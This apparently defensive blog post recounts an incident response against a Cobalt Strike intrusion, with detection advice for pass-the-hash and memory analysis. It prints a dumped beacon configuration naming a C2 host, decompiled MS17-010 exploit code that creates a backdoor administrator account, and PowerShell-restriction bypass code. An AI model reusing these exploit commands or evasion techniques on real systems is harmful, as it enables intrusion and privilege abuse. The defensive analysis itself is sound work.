Intro
Some time ago, I was involved in defending against a cyber attack (or perhaps an attack simulation) at Company X. I believe this example will be particularly interesting for those who want to deepen their understanding of how attackers operate and what defense approaches can help companies protect themselves. This story is a real-world example of an attack that can provide a better understanding of how such incidents unfold in practice. I hope it offers readers something new to learn.
During that time, my primary focus was on Windows technologies and Windows security, including:
- implementing various security policies, ranging from Active Directory Group Policies to Windows Defender EDR-specific configurations.
- automating the configuration of AppLocker and Windows Firewall.
- Applying CIS hardening policies.
- Learning Windows internals (writing custom drivers, analyzing open-source projects, performing memory dump analysis, etc.).
- Troubleshooting Windows OS related issues.
And of course, I have always advocated security principles based on:
- Defense in Depth – Implementing multiple layers of security across all levels, starting from the infrastructure and extending to the OS and application layers.
- Zero Trust Approach.
The Attack Story
At a certain point, Company X realized that they were under attack.
One of their machines was compromised and began downloading and executing various attacker tools.
Enumeration & Initial Compromise
The attackers were proficient enough to use various advanced techniques and tools. For example, their shellcode didn’t use HTTP/TCP directly but instead leveraged the WinInet API. This allowed them to reuse SPNEGO Kerberos authentication for SSO with HTTP proxy solutions. By default, any external connection to the internet in this company was disallowed, meaning the attackers couldn’t communicate with their command-and-control center without proxy support.
Please take a look at these two posts that describe the attackers’ techniques for bypassing AppLocker and AVs rules:
- Dism.exe and shellcode injecting technique to bypass Applocker rules
- The story of one attack / shell decryption
Also, check out this post on Analyze memory dump files with YARA signatures in Windbg for possible pitfalls during memory dump analysis.
The attackers used Cobalt Strike as a platform for attack that has special mechanism – beacons, special post-exploitation payloads, designed to simulate an advanced persistent threat (APT).
Beacons functionality include support of:
- multiple communication channels: HTTP/HTTPS, DNS (for stealthy exfiltration), SMB (lateral movement), TCP
- payload execution – Can inject shellcode, run PowerShell scripts, download and execute arbitrary commands.
- persistence & evasion, uses techniques like DLL injection, process hollowing, and obfuscation to avoid detection.
- privilege escalation, exploits vulnerabilities or misconfigurations to gain higher privileges.
- lateral movement, by using credentials and native Windows functionalities like WMI, PsExec, and RDP for propagate across a network stealthily and so on
Cobalt Strike was once one of the best solutions in its category, but many security tools have since been developed and adopted to detect its specific artifacts—starting with network firewalls (e.g., Palo Alto Networks), SIEMs (Logpoint), and ending with EDR solutions like Windows Defender EDR, which is particularly sensitive to anomalous activities related to Cobalt Strike
In our case, the attackers used a variety of tools to analyze and exploit the environment, including executable versions of Python utilities:
smbadmincheck.exe
smbclient.exe
smbshareenum.exe
pypykatz.exe
kerberoast.exe
- Impire post-exploitation and adversary emulation framework (https://github.com/BC-SECURITY/Empire)
- different standard Windows tools: net.exe, rundll32.exe, runonce.exe, etc
- Cobalt Strike inner functionality
An important step in defense is detecting the technologies used by attackers. Cobalt Strike can be detected in various ways, one of which is identifying its control center FQDN and using scripts like JARM:
- https://github.com/salesforce/jarm
- https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a/
Other useful tools include:
- 1768.py (link) is a script for decrypting and dumping the configuration of Cobalt Strike Windows beacons (PE files), shellcode, and memory dumps.
- scripts from https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit
- CobaltStrikeScan utility – https://github.com/Apr4h/CobaltStrikeScan.git
Using the 1768.py tool, the following beacon information was retrieved:
xorkey(chain): 0xef44e22e
length: 0x00040200
Config found: xorkey b'.' 0x00000000 0x000057d0
0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 443
0x0003 sleeptime 0x0002 0x0004 3200
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 15
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d00308189028181009a880e31a89ec828e7c300b4cf003aefaf380720ed28775293be4341871eac8daf1577677df8c23bb5cfb3b8f491dc7e8e4a383bd4d52f19909a4de73d36f38f592b6c28bbccc60a2e592c75d227d3ad2f46b98bae03eb06965b8532e6a6a5aa5894ce47252b094997933d340ce03b1e494b2e911807857e2832362946c038eb020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 'cdn.lbwd.net,/s/ref=nb_sb_noss_1/596-20814129-5816322/field-keywords=time'
0x0043 0x0001 0x0002 0
0x0044 0x0002 0x0004 4294967295
0x0045 0x0002 0x0004 4294967295
0x0046 0x0002 0x0004 4294967295
0x000e SpawnTo 0x0003 0x0010 ......
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\net.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\net.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 406341830
0x0026 bStageCleanup 0x0001 0x0002 0
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
0x000a post-uri 0x0003 0x0040 '/N0692/adj/amzn.us.sr.aps'
0x000b Malleable_C2_Instructions 0x0003 0x0100 '\x00\x00\x00\x04'
0x000c http_get_header 0x0003 0x0200
b'Accept: */*'
b'Host: www.amazon.com'
b'session-token='
b'skin=noskin;'
b',csm-hit=s-5LxzuIO6287ntVbDS3CJ|0932642693746'
b'Cookie'
0x000d http_post_header 0x0003 0x0200
b'Accept: */*'
b'Content-Type: text/xml'
b' X-Requested-With: XMLHttpRequest'
b'Host: www.amazon.com'
b'\t'
b'sz=160x600'
b'\t'
b'oe=oe=ISO-8859-1;'
b'sn'
b'\t'
b's=8262'
b'\t'
b'"dc_ref=http%3A%2F%2Fwww.amazon.com'
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a 0x0003 0x0080 '\x00\x04'
0x0039 0x0003 0x0080 '\x00\x04'
0x0037 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 0
0x002b process-inject-start-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc 0x0002 0x0004 0
0x002e process-inject-transform-x86 0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64 0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub 0x0003 0x0010 ........
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
There is also another interesting aspect: they used the Empire Project post-exploitation agent. At that moment, I noticed that
Typically, there is no difference between a network logon using the Pass-the-Hash (PtH) technique and one using manually provided credentials. Some penetration testing tools implement NTLMv2 but do not fully adhere to Microsoft’s original NTLMv2 specification. Specifically, they often use hardcoded or predictable session key values, which deviates from the proper NTLMv2 authentication flow.
When performing a network logon with the PtH technique, the authentication process appears identical to the target system as when valid credentials are manually provided. This is because the NTLM hash is used directly for authentication, bypassing the need for the plaintext password
I experimented with the PowerSploit core library in a test domain, and here is the code with a predefined session key value
packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey", new byte[] { 0x00, 0x00, 0x00, 0x00 });
thus when we authenticate using this library

we observe different DC events depending on whether the authentication was performed using an NTLM Pass-the-Hash attack (left side) or during a normal logon (right side).

Microsoft also has well-documented recommendations for monitoring such events. For example, we can find the following:
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
If the Authentication Package is NTLM. In this case, monitor for Key Length not equal to 128, because all Windows operating systems starting with Windows 2000 support 128-bit Key Length.
and also
https://www.binarydefense.com/reliably-detecting-pass-the-hash
Key Length: 0 – This is the session key length. This is one of the most important for detection within event logs. With something like RDP, this would be 128-bit value. Any lower level sessions will be 0 which is a better indicator of lower level protocols with no session key and a good representation of Pass the Hash in the network.
Information about this event is not available on the DC unless the following policy is enabled:
Advanced Audit Configuration / Account Logon / Audit Credential Validation Success, Failure
If this is a domain account and the password needs to be validated by the DC, the corresponding request will be sent to the DC, though the information provided is very limited. Below is an example of Event ID 4776, generated by the DC when it validates an NTLM hash
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" />
<EventID>4776</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>14336</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2021-03-26T21:42:18.747032700Z" />
<EventRecordID>1866729</EventRecordID>
<Correlation />
<Execution ProcessID="640" ThreadID="3380" />
<Channel>Security</Channel>
<Computer>WIN-QM2M944GT4S.TESTDOMAIN.LOC</Computer>
<Security />
</System>
- <EventData>
<Data Name="PackageName">MICROSOFT_AUTHENTICATION_PACKAGE_V1_0</Data>
<Data Name="TargetUserName">test4</Data>
<Data Name="Workstation">DESKTOP-DV41VTA</Data>
<Data Name="Status">0x0</Data>
</EventData>
</Event>
This event doesn’t contain information about the source host and is not informative, so collecting events from all hosts must be implemented:
The ability to work with memory dumps is useful during defense. There are two popular tools for this:
- WinDbg
- Volatility framework
and ability to enumerate processes / threads and dump info:
- CobaltStrikeScan utility – https://github.com/Apr4h/CobaltStrikeScan.git
- ProcDump
The tricky part in such scenarios is understanding how successful the attackers were in lateral movement, so thread analysis as well as memory dump analysis could be helpful here. You should also know that hypervisors like VMware ESX allow for full memory dumps, which can be converted to a format supported by WinDbg and Volatility, allowing you to automate infrastructure checks
Part of the file were packed by PyInstaller packer so we have to extract pyc files using
https://github.com/extremecoders-re/pyinstxtractor/blob/master/pyinstxtractor.py
python pyinstxtractor.py kerberoast.exe

and the use python decompiler. Even with the online decompilers
https://www.lddgo.net/en/string/pyc-compile-decompile
we can get insight about tool used against us

which points us to this source code – https://github.com/skelsec/kerberoast/tree/main
“The benefit of using this Python code is that standard Windows DLLs are not used, as they are implemented in pure Python code. This could pose a challenge for security tools and antiviruses
Some tools

had exploit implementations as shown below
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.7 (default, Jan 15 2021, 14:12:45)
# [GCC 10.2.0]
# Embedded file name: zzz_exploit.py
.....
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
service_exec(conn, 'cmd /c net user /ADD sec Passw0rd!1')
service_exec(conn, 'cmd /c net localgroup administrators sec /ADD')
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as (fp):
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
def service_exec(conn, cmd):
import random, string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ('').join([ random.choice(string.letters) for i in range(4) ])
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
try:
print 'Opening SVCManager on %s.....' % conn.get_remote_host()
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e
else:
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print 'Creating service %s.....' % service_name
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
try:
print 'Starting service %s.....' % service_name
scmr.hRStartServiceW(rpcsvc, serviceHandle)
except Exception as e:
print str(e)
print 'Removing service %s.....' % service_name
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print 'ServiceExec Error on: %s' % conn.get_remote_host()
print str(e)
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
return
if len(sys.argv) < 2:
print ('{} <ip> [pipe_name]').format(sys.argv[0])
sys.exit(1)
target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name)
print 'Done'
# okay decompiling zzz_exploit.pyc
which is exe version of https://packetstorm.news/files/id/143326/ code that exploits MS17-0101 vulnerability.
Powershell bypassing mechanism
The last interesting aspect of this attack that I would like to share is the mechanism for executing PowerShell scripts, despite the availability of:
- powershell restricted language mode (usually enabled with Applocker)
- allowing execution for only signed scripts
Take a look at this video – https://youtu.be/7tvfb9poTKg that covers high level details.
In the cobalt strike console you can import your own powershell script to the beacon
else if (commandParser.is("powershell-import") && commandParser.empty()) {
SafeDialogs.openFile("Select script to import", null, null, false, false, new SafeDialogCallback() {
@Override
public void dialogResult(final String s) {
BeaconConsole.this.master.PowerShellImport(s);
}
});
which compress script for further execution. The execution mechanism involves the use of the UnmanagedPowerShell C/C++ library, which uses a .NET modules
using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state))
{
runspace.Open();
using (Pipeline pipeline = runspace.CreatePipeline())
{
pipeline.Commands.AddScript(command);
pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
pipeline.Commands.Add("out-default");
pipeline.Invoke();
}
}
These are called by C/C++ code in UnmanagedPowerShell.cpp (line 214) to run PowerShell code without relying on powershell.exe
on the attacked Windows OS. (The original post can be found here
You can find the Cobalt Strike source code on the internet, along with the obfuscated Windows library in the /sleeve
directory

that are actively used and contain different useful for attacker functionality.